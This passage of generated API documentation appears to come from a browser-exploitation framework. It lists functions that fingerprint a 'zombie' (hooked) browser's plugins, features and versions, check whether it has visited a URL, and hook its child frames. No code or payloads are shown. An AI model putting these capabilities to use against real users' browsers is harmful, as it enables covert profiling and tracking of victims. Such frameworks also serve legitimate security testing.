\n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasFlash\"><span class=\"type-signature\">(static) </span>hasFlash<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has flash installed and enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3740\">line 3740</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasFoxit\"><span class=\"type-signature\">(static) </span>hasFoxit<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has Foxit PDF reader plugin.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4516\">line 4516</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasGoogleGears\"><span class=\"type-signature\">(static) </span>hasGoogleGears<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has Google Gears installed.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4475\">line 4475</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasJava\"><span class=\"type-signature\">(static) </span>hasJava<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has Java installed and enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3933\">line 3933</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasPhonegap\"><span class=\"type-signature\">(static) </span>hasPhonegap<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the Phonegap API is available from the hooked origin.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3900\">line 3900</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasQuickTime\"><span class=\"type-signature\">(static) </span>hasQuickTime<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has the QuickTime plugin installed.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3773\">line 3773</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasRealPlayer\"><span class=\"type-signature\">(static) </span>hasRealPlayer<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has the RealPlayer plugin installed.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3801\">line 3801</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasSilverlight\"><span class=\"type-signature\">(static) </span>hasSilverlight<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns boolean value depending on whether the browser supports Silverlight</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4384\">line 4384</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasVBScript\"><span class=\"type-signature\">(static) </span>hasVBScript<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has VBScript enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3947\">line 3947</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasVLC\"><span class=\"type-signature\">(static) </span>hasVLC<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if VLC is installed</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3866\">line 3866</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasVisited\"><span class=\"type-signature\">(static) </span>hasVisited<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns array of results, whether or not the target zombie has visited the specified URL</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4404\">line 4404</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasWMP\"><span class=\"type-signature\">(static) </span>hasWMP<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has the Windows Media Player plugin installed.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3840\">line 3840</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasWebGL\"><span class=\"type-signature\">(static) </span>hasWebGL<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has WebGL enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4459\">line 4459</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasWebRTC\"><span class=\"type-signature\">(static) </span>hasWebRTC<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns boolean value depending on whether the browser supports WebRTC</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4377\">line 4377</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasWebSocket\"><span class=\"type-signature\">(static) </span>hasWebSocket<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has Web Sockets enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4441\">line 4441</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasWebWorker\"><span class=\"type-signature\">(static) </span>hasWebWorker<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has Web Workers enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4449\">line 4449</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hookChildFrames\"><span class=\"type-signature\">(static) </span>hookChildFrames<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Hooks all child frames in the current window\nRestricted by same-origin policy</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3714\">line 3714</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isA\"><span class=\"type-signature\">(static) </span>isA<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Avant Browser.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line46\">line 46</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isBrave\"><span class=\"type-signature\">(static) </span>isBrave<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Brave</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line78\">line 78</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC\"><span class=\"type-signature\">(static) </span>isC<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2466\">line 2466</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC10\"><span class=\"type-signature\">(static) </span>isC10<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 10.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1088\">line 1088</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC11\"><span class=\"type-signature\">(static) </span>isC11<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 11.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1096\">line 1096</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC12\"><span class=\"type-signature\">(static) </span>isC12<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 12.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1104\">line 1104</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC13\"><span class=\"type-signature\">(static) </span>isC13<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 13.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1112\">line 1112</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC14\"><span class=\"type-signature\">(static) </span>isC14<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 14.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1120\">line 1120</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC15\"><span class=\"type-signature\">(static) </span>isC15<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 15.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1128\">line 1128</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC16\"><span class=\"type-signature\">(static) </span>isC16<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 16.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1136\">line 1136</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC17\"><span class=\"type-signature\">(static) </span>isC17<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 17.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1144\">line 1144</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC18\"><span class=\"type-signature\">(static) </span>isC18<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 18.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1152\">line 1152</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC19\"><span class=\"type-signature\">(static) </span>isC19<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 19.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1160\">line 1160</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC19iOS\"><span class=\"type-signature\">(static) </span>isC19iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 19.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1168\">line 1168</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC20\"><span class=\"type-signature\">(static) </span>isC20<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 20.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1176\">line 1176</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC20iOS\"><span class=\"type-signature\">(static) </span>isC20iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 20.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1184\">line 1184</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC21\"><span class=\"type-signature\">(static) </span>isC21<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 21.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1192\">line 1192</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC21iOS\"><span class=\"type-signature\">(static) </span>isC21iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 21.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    